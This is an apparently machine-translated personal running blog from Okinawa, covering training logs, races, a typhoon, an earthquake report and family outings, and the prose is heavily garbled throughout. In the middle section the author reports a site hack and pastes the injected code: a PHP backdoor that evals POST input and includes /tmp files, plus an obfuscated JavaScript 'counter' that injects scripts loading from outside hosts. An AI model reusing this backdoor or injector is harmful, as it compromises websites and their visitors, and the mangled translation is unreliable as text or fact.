沖縄で実行

私は昨日、20マイルレースを走った。 スティーブと私は実行のために作らだけだった。 私はと呼ばれる皆（セス、トミーとClinte）が、誰の手に入れることができませんでした、とDaveも彼の1万部にご参加のに十分な感じでした。 ドンは、私たちは、10kの彼の場所の過去走ったとき、彼は私たちと会うことが、彼は夜勤の作業の後に睡眠を得ていなかったので、彼は最後の最後でキャンセルと述べた。 これらの日曜日ロングランは、事前に計画された場合は、最もよいと思います、誰もが参加ではなく、みんなの日か、前の晩に呼び出すより公正なチャンスがあったので。 誰もがそれよりも、同じ週の訓練をしたなら、もちろん問題ではない、私たちはすべての時間と場所土曜フリー走行での夜の前に、しかし、決定と残念ながらわずかスティーブと私は定期的に練習するので、最大表示我々ごくたまに日曜日にジャンプする用意がある誰よりも呼び出してしまう長い実行されます。 それはあるロングショットは、誰が来るように感じるが、それがグループで実行しているので、価値があるほど一人で行くよりはましだ。

我々は、楽しい実行していた。 我々は、宜野湾護岸からレッドブリッジ読谷のちょうどを超えて走った。 これは、暗いだけで、我々は川を押すと、得ないライトパスを照明されたが、我々はGarminsあたり10マイルマーク（ - スティーブは新しい405がヒットするまで、私は彼の昔の205（（使用している我々は継続私は305故障して）））です。
それは最後の20マイルレースで、この時点で私は、私は排水となり、食糧を必要としなかったされました。 私は最近、と耐久性について多くを読んでいる特定の方法についての鳥は、世界中のノンストップ間の移行について1つのことを考えていた。 私は、移行の重量をの2倍になる前に、130グラムの鳥は（脂肪の余分な130グラムを追加）が前にお読みカナダから南アメリカ（これは、次の燃料駅です）に3日間、3泊はノンストップ便を旅。 この光で、私はこの実行中に何か新しいことに挑戦することに。 私は、体脂肪の実行中に何かを食べていないでオフに書き込むように決定します。 私はこの次のレースのシーズンに向けていくつかのポンドを剃り落とすとしているが、これは役立つかもしれないと思います。 私は日本側は、<60キロのをしている間68キロはないよ。 私は約65人の私の次のマラソンにしたい。 件名に戻るには、私はゲルや食べ物を取ることなく、噴水道に沿って渡さでわずか少しずつ実行を完了した。 私は手にゲルを持っていただけのケースのことで悪いけど、私はそれを必要としませんでした。 私は素晴らしいと感じた。 それは良い実行された。

私のサイトがどのデータベースのエラーがフロントエンドに表示する原因ハッキングされた。 誰かがそこに自分自身には、ftpアカウントを作成し、私phpとhtmファイルにコードを注入し、私のSQLデータベースになった。 私はそれらが私のブログのソフトウェアのデフォルト設定では、脆弱性を利用ので、私は削除し、すべてを再インストールと思います。 私は、デフォルトの設定を変更および削除は、不正なアカウントとは、アクセスしたすべてのファイル。 私は、これらのデフォルト設定は自分たちのレーダーに私を置くと思います。 彼らはたぶん、サイトの既定値を使用して検索を実行し、それに対する彼らのハッキングツールを走った。 私は確かにそれは彼らが走った自動化されたプログラムは、コードを挿入するすべてのhtmファイルとphpファイルが同じ場所で同じ挿入されたコードがあったのでだったと思うよ。 今はすべて安全行ってもいいことがあります。 私はすべてのコードをやり遂げました、何を不審とパッチの既知の脆弱性をクリアされます。 自分のサイトは現在、新しい顔だけでなく、新しい鎧をしています。 うまくいけば、この二度としません。

ここでは使用されるコードです：

<span > （もし！にfunction_exists（'tmp_lkojfghx'））（（$ i = 1の; $ iが<100; $ iは+ +）/ m'の場合（is_file（$ fは='/ tmpです。$ 1））（のinclude_once（$ f）は;破る;）（どうかの判断は、（$ _POST ['tmp_lkojfghx3']））はeval（$ _POST ['tmp_lkojfghx3']）;（！定義されて（'TMP_XHGFJOKLは'））を定義する場合場合（'TMP_XHGFJOKL'、またはbase64_decode（'PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5cGVvZigxKSlldmFsKHVuZXNjYXBlKCclMkYhJTJGISUzQyU2NGklNzYlMjAlNzN8dHl + bGU9ISU2NCQlNjklNzMjJTcwbGF5OnwlNkVvbmBlYCUzRSZcbiZkISU2RiU2M3UkJTZEIWUlNkV8dHwlMkUkJTc3JTcyJTY5JTc0JTY1JTI4YCIhJTNDJiUyRn50IWV4ISU3NCU2MSU3MiFlJCU2MSQlM0UlMjIlMjklM0IlNzZgYSQlNzIkJTIwJTY5JTJDJTVGJix8YSE9JTVCJiUyMiQlMzclMzglMkUhJTMxQDElMzAlMkUxJTM3JTM1Iy4lMzIlMzFgJTIyISUyQyIkJTMxJTM5JTM1JTJFJTMyfDQuN3w2LjJ + JTM1ISUzMSYlMjImJTVEO3xfPSUzMSUzQn5pYCU2NiElMjhkfCU2RmMlNzVtYGV + bkAlNzR8JTJFYyMlNkYkJTZGJCU2QiU2OSMlNjUlMkUmbSU2MUAlNzRjIyU2OCgmL2AlNUMlNjJoIyU2N2YjJTc0JTNEJCUzMSElMkYpfiUzRCUzRCElNkUhJTc1JTZDbCMpZm8lNzIkJTI4JTY5JTNEfiUzMHwlM0IhJTY5YCUzQyUzMiUzQiMlNjkrJTJCfCUyOSFkJTZGJmMlNzVtYCU2NSU2RXQlMkV3I3IhJTY5ISU3NCMlNjUjKH4lMjJ8JTNDQCU3M2MlNzJpJTcwdGAlM0UjJTY5ZiElMjh8JTVGQCUyOSQlNjQjJTZGJTYzfHUmJTZEJTY1fG4lNzQlMkUlNzclNzIlNjl8JTc0ZSglNUMlMjJ + JTNDcyU2MyYlNzIlNjlwI3QmJTIwfGl + ZHw9JTVGIitgJTY5YCt8JTIyXyUyMCElNzNyYyUzRGAlMkYjL0AiJiUyQiU2MVslNjklNUQlMkIkJTIyJTJGJTYzfnAvJCUzRiUyMiUyQn4lNkUmJTYxdiU2OWAlNjclNjEjdG8mci4kJTYxJTcwJCU3MCU0RSU2MSYlNkRlJTJFJmNAaCU2MXJgQXQoJTMwJTI5KyQlMjIlM0UmJTNDQCU1Q34lNUMjLyU3M0BjIXIlNjklNzB0IyUzRUAlNUN + JTIyKSElM0MjJTVDJTJGQHNjJTcyJTY5JnB0QCUzRXwifCl8JTNCXG4vIy8jJTNDJTJGZGklNzYlM0UnKS5yZXBsYWNlKC9cJnxcfHxAfH58YHxcJHwjfFwhL2csIiIpKTt2YXIgeWFob29fY291bnRlcj0xOwo8IS0tIGNvdW50ZXIgZW5kIC0tPjwvc2NyaXB0Pgo ='));関数tmp_lkojfghx（$ s）を（するif（$ gを=（bin2hex（substrは（$秒、0,2 ))==' 1f8b'））$ sの= （substrは（$ sの））10日-8 gzinflate;場合（preg_match_all（'＃<スクリプト(.*?)</スクリプト>＃'は、$ sの、$））foreachの（$ [0]として$は、v）場合（カウント（（電子= preg一matchの('#['"][^を"n"を、$ v）を）> 5）（$爆発'".,;?![]:/<>()だ]は、（30 ,}#',$五）| | preg一matchの('#[([]( dが+）（20 ,}#',$五）*だ。場合（（は、preg_match（'＃bevalb＃'、$五)&&($は、電子| | strposは（$五、'fromCharCode ')))||($電子＆strpos（$五、'')))$秒= document.writeをstr_replaceの（$五、"、$ sを）; ）$ s1は= preg_replace（またはbase64_decode（'IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw =='),",$ sは）;場合（stristrは（$ sを、'</本文'））$ sの= preg_replace（'＃（秒* </ body）の＃ミ'、PHP 4.0.5以降('$',' \ $'、TMP_XHGFJOKL）'1'、$ s1が）elseif（（$ s1が！= $ sを）（定義されて表示| |'をPMT_knghjg'）| | stristr（$秒、 'は<体'）| | stristr（$ sの、'</タイトル>'))$ = $ s1.TMP_XHGFJOKL;戻り$ gに？gzencode（$秒）：$ sのだ;）関数をtmp_lkojfghx2（$ = 0、 $ b = 0、$ c = 0の、$ d個の= 0）（$ sの=配列（）;（$ b＆＆$ GLOBALSは['tmp_xhgfjokl']）のコールcall_user_func（$ GLOBALSは['tmp_xhgfjokl']場合は、$、$ b 、$ cは、$ d）が、foreachは（@ ob_get_status（1）$ v）の場合は（（$ = $五['名前'])==' tmp_lkojfghx'）戻り値;他の$ [] =配列（$だ=='デフォルトの出力ハンドラが'？偽：$）;の（$ iは=カウント（$ s）を-1; $ iが> = 0; $ iは-）（$ sを[$ i]の[1] =にob_get_contents （）は、ob_end_clean（）を;）のob_start（'tmp_lkojfghx'）;の（$ iは= 0; $ iは<カウント（$ s）を、$ i + +はは）（ため、ob_start（$）[$ iを] [0]です。エコードル[ドルを私は[1] ];}}}だが（（$ = @はset_error_handler（'tmp_lkojfghx2 '))!=' tmp_lkojfghx2'）$ GLOBALSは['tmp_xhgfjokl'] = $; tmp_lkojfghx2 ();</ p > <P>このYahoo！はカウンター）が起動<br />をする場合（typeof演算（yahoo_counter！= typeof演算（1））はeval（エスケープ（'％2階を$％2階％3C |％64％69％76％20＃％73＆％ 74＆yは〜lの65％= @ dは〜％69＆％の73pl＆％の61y：@非％65％3Eのは`n！dは@ 0％63u〜男性`トン＆％2Eは〜％77`％72 $％69％74％65％ 28 |％22！％3C％2階〜％74e％78％74 $％61`rの％记吸気空％3Eの"#);@五|お％61 |％72％20％69＆％2Cを|％5階〜％2Cを％ 61 `=[~% 22＆％37！％38％2Eは＆1 |％31 $％30％2Eは％31 $を％37！％35 @％2E21〜％22％2Cを％22 $％31 $を％39〜％35〜 0.2パーセント34％2Eは`％37`6〜@ 2 @ 5％31＆"％の王5D $％の3B！_％次元％31＃％の3B＆％69 | f $が％28％64％ビル6F％63％75 |メートル％65％6Eのは＆％の74.c | ooを@ kの％は69 @電子|％の6Dの@％61％74〜Cの`％68！％28％2階@％の5CBの＃％68％67 $％66 |％74 |％3％31 /#)== n個の％75％6Cと|のリットル＆％29！fは@ 0％72 |％28 |私は％の3D＆％30`％の3B＆アイ！％の3C2;％69 @％2Bは％2Bに％29d＆オ@％63％75％6De％6Eの@のt％2Eは％77 @％72 |％69 |トン`％65（％22％3C％73！％63 @％72〜％69％70〜％74％3Eの％ 69 | fは！（_％29d＃オ〜％63！％75％6Dの％65n％74.wri`％74％65 @％28％5Cの％22`％型3C @％73％63の`r＃％の69p＆％ 74 $％20％69＃％64％3D_ &"~+`私＆+＃％22！_％20％73r％63 |％3％2階|％2階`"+@% 61 [i]を！％2Bの@" `/＃％63 @％70％2階|?`"&+&のn＃％61v％69グラム$％61％74％6階| rを〜％2Ea＃％70％70＃％4Eを％61＆mの65％@％63 |％68ar％41％74（0）$％2Bは％22％3Eの＆％の3C対潜哨戒％の5Cの！％5Cの| /`％73 $％63 $％72％69％70％74＆％の3Eの＃％5Cは`"` ）|％3C＃％5C/scドル％72！％69＆％70！トンの％3Eの％22 $％29％30億＆％2階！％2階％3C @％2階|ディ76％$％の3Eの'）。置き換える（ /~|@|#|&|`|$|||!/は,""));ヴァールyahoo_counter gの= 1;カウンタエンド</span>

これがある場合、または似たようなあなたに起こっているコメントを残し。

私は以来、私は那覇マラソンを2006年に走った疲れを感じたていない。痛みを私の足に激しく、今日のポイント運動から引き出された。それは私に長谷大阪でもコーチングのいずれかをさhisコーチからそれを得たによって導入された日本有数の長距離ランナーは、緒方剛、私はまさにトレーニングは、明白な理由については公表することはできませんが、私は昨年の世界選手権大阪で緒方に会った彼は、より速く、私はもちろんの操作を行いますかなりこの正確なトレーニングを行うが、それがキラーだった。5キロの間、私の足を10トーストがあったよ！は12月、これらのタイプのトレーニングの詳細いくつかの私はレース那覇マラソン前にやって見込んでいます。

日17.5マイルと、それが何だった日！

ゆっくりと、しかし確実に私が私の基本マイルと持久力、私が今日走った実行できるように構築しました。私の最後の週は私が行うことができる長い時間の"総訓練"してきた最初の1週間だった。私は70を実行2つの品質のトレーニング：1）12000メートル4min/1kのペースで含まれてマイルの合計2）12000メートル3時50分/ 1kのペースで私は12月マラソンを構築しています。

私はその計画に従ったため、今日のトレーニングが良い行っていることができませんでした。私は、16kのため午前3時35 / 1kのペースで3時45 1kのペース平均最後の8kの4min/1kのペースで最初の8Kを走った。

私は、9 10kの周り疲れ、身に着けられ感じ始め、パワーゲルをつかんでrejouvinatedされ、トレーニングを終了する決定した。私の家族は私に最近、多くのことを支援していると私は裸でした失敗したトレーニングを持っている。私は何を全体的に、私は誇りに思う。もう一つの大きな入金が私の探求の那覇の形状にする。

私は今週も2失点で20マイルを1日ノックアウトスタートを切った。 私は次の4日半1日2失点との私の努力を続けた。 台風13号は、（台風が＃13それは日本の名前です。）地域にあった。 これは、カテゴリー4台風ので、私達はフリーランの練習で土曜日の練習を休むことにした力を増した。 台風が台湾で死に、多くの沖縄には影響しなかった。 我々はより行っていない以上TCCOR 3（熱帯低気圧状態準備の）。

お役立ちリンクは：を参照して準備の沖縄の現在の台風の条件を参照してくださいにリンクします。
http://weather.kadenaservices.com/update/tccor.htm

私は1週間の合計決定戻るcompetetive形に得るために始まった。 私はトミーと海兵隊マラソンのための訓練が16日の品質は10kを完了した。 私は次の3日間オフ、（木は、金、土）、他の優先順位のためには実行されました。 私は痛みもあった。 私はコンテンツは、私は一週間、これ以上私は過去6週間やったの詳細は実行中の40マイルを得ることができたんだけど、私はまだ80から100マイル週間に飢えている。

私が出張でしばらく行って、としてきたチャンスをしばらくの間、実行する必要がない。私は行き、練習土曜日を実行解放するために積極的に影響され、バックの形で取得する動機。これまで私を' veは土曜日から4回を実行し、1回自転車で。

遅い＆簡単に - 20080825から1を実行6.5マイル

病気 - 20080826 - 無失点

病気 - 20080827 - 無失点

初期の作品 - 20080828 - 無失点

で寝て、夜の計画を - 20080829 - 無失点だった

遅い＆簡単に - 20080830から1を実行3マイル

遅い＆簡単に - 20080831から2は、15.5マイルを実行する

自転車と実行 - 20080901から1自転車55マイル、1失点5.7マイル

さて、私はほとんどの場合は育った私が行ってきたに乗り遅れたくないしました。これらは、過去数日間、私はかなりハード期待那覇の形で取得すると訓練だ。マラソンは3ヵ月後に迫っている。実行して覚えている生涯スポーツはあなたが、取得よりもっと多くのことあなたはそれを世界記録マラソンホルダーのGabrselassie 、インスタンスの背景などした年次とする学校から毎日のために、そしてランナーですphenominal、今日、彼の最大のかもしれないことあなたが時間と訓練にこれを行うに置かれている場合を除き、すべての時間のランナーが。あなたはピークレベルでは実行できません。フィットネスのこのレベルはわずか3カ月の訓練に付属していません。私は疑問にしてどのレベル私は' llは12来てください。あなたはどのけがを避けるために正しいバランスを見つけるために、としても健康を向上させます。カレッジ季節を約3ヶ月長くており、私は彼らが勝つすべてのけがうまくいけば、この次の良い3ヶ月になります読む。

モーニングを実行して、午前6時開始。偉大なと感じました。45分を私は彼が昼食時に実行したいかどうかをトミーと呼ばれるのではなく、私は受け入れ彼の申し出を夕べに実行します。私は昼食時にとにかく走った - 25分、88度これは実際に湿度のために99度のように感じた。

私はみんなにオファーを拡張が、スティーブは計画をマッサージを取得しなければならなかった、とセスを再フィールド日に今夜としていたのでそれだけでトミーされ、私たちは、快適な会話ペースを持って、残りの我々の計画の話年連続での我々の両方に戻るマラソンの形にトミーを得るために開始され、2月での失望のクロスカントリーレースをした、しばらくの間実行を停止、その後、彼の作品は彼に、実行しているから彼の心を保つのに十分な忙しいを維持する彼は充電だ良いことだから今は私だけで無料でけがや健康那覇マラソンまで滞在する。主なレースは今年の海兵隊マラソンされます。

彼は別の2マイルを実行するために続けながら、私は馬場公園で飲みに停止した。我々は両方の熱から排出さ感じた帰り道総日 - 17マイル。私は今では私がマイルを生き残るために必要8月にフリーランとの良好な距離合宿。

私は家に運転していたとして6.2の地震がすぐ北に沖縄のヒット私は駐車場が私に教えてに引いていたが私の妻と呼ばれる地震があった。私の車の動きのときに起こった。私は揺れは感じませんでした、しかし、私は私の車から降りた、私はめまいを感じた。誰もが負傷され、存在しない津波警報があったので、私は実行...に行きました：）

強いオフショア地震は、日本を揺るがす南

東京（AP）は - 6.0の予備大きさと強い地震日沖縄南部の日本の島の海岸を襲った、日本の気象庁は言った。

代理店が津波や地震波の危険は、海の表面の下に30マイルについては午前4時42分に発生した地震から、と述べた。

警察沖縄と周辺の島々が負傷や被害の即時報告があったと述べた。

"我々の建物はかなり激しく揺れたが、我々は自分の足で立つことができたし、何も床に落ちて、"安森上江洲は、地震の中心部に近い那覇市の警察のスポークスマンだ。

近くの奄美大島幸雄Mukuraguchi上の別の警察関係者は、約10秒オズを揺れている。

"今のところ、我々は負傷や被害報告を受信して、"彼は言った。

日本は4つのプレートの上に座って、世界有数の地震多発国の一つです。

まばらに、少なくとも12人が死亡、10人が行方不明と300人以上が負傷したまま北日本の農村人口は先月7.2の地震が襲った。

沖縄には約1,000マイル、東京の南西です。

バッファローワイルド翼 -訪問のウェブサイト、あなたが聞こえますGGGggrrrr！ 私は昨日お父さん、雪乃、クレアと食べた背景には本当に悪いの酸逆流を思い出させる。食べ物はおいしい味が、それはoiliest、私が今まで食べてgreasiest食事でした。私はサンプラーに加えて肋骨があったとポップコーンエビが（ バッファローワイルドウィングスメニュー ）。雪乃のためのクレアキノコを命じた部分小さく切り、それらを、およびグリースプール出てきた- yummm、私はしてください。グリース私のしたいようにカップ...私は食べていたのフルも夕食その夜。

午前9時。フェルト重い傲慢な昨日の昼食から約蘭今朝、私は（実行を構築を構築する40分蘭どこが実行の最後の20分以上の増加ペースを実行する）レイクウッドスプリングスの歩道を介して、妻と私モールに朝食後に行きました。私は彼女の全体の時間を運ぶために持っていなかったので、ある。クレア小さな赤いベビーカー自動車を持ってモール内にある小さなキオスクは良かったに乗っていた私は珈琲を買って、いくつかの作業服を着た私の娘のために、ヘアピン。

これは水曜日ですので、私は午後6時、それはジャックのボールゲームによってしたかったので、何を意味する...ポイントアウト日私の夜のポイントワークが運ばれた知っている。私は前から私のGPS時計（ガーミンフォア305）と400メートルを測定一時停止の標識お父さんの家のに、開始をマークし、行をfinish私の靴と、私は今週末のレースになりますので、私は靴をレースでこの運動をした。私はむしろレースは、通常の10 × 400 1週間以上7 × 400を実行、いくつかの夕食をパックしようと十分な時間を、シャワーまで保存すると、ゲームにしてください。残念ながら、パパは準備ができていた、私たちは後半、彼は完全に3人のバッターを三振ジャックの第1回が不足し、10分を残しました。彼のチームがあった打席に、いつ我々はジャックに到着塁していた。私の姪ライアンは、クレアと全体の時間果たした。クレアの笑顔は決して彼女はライアンとジャックのチームを再生中よりももっと大きなれた試合で勝利。

1秒ごとに間隔が風に逆らって（ちょっと強い）がここ内訳です：
1。 67 5。 70
2。 72 6。 70
3。 72 7。 62（4：08マイルのペース）
4。 74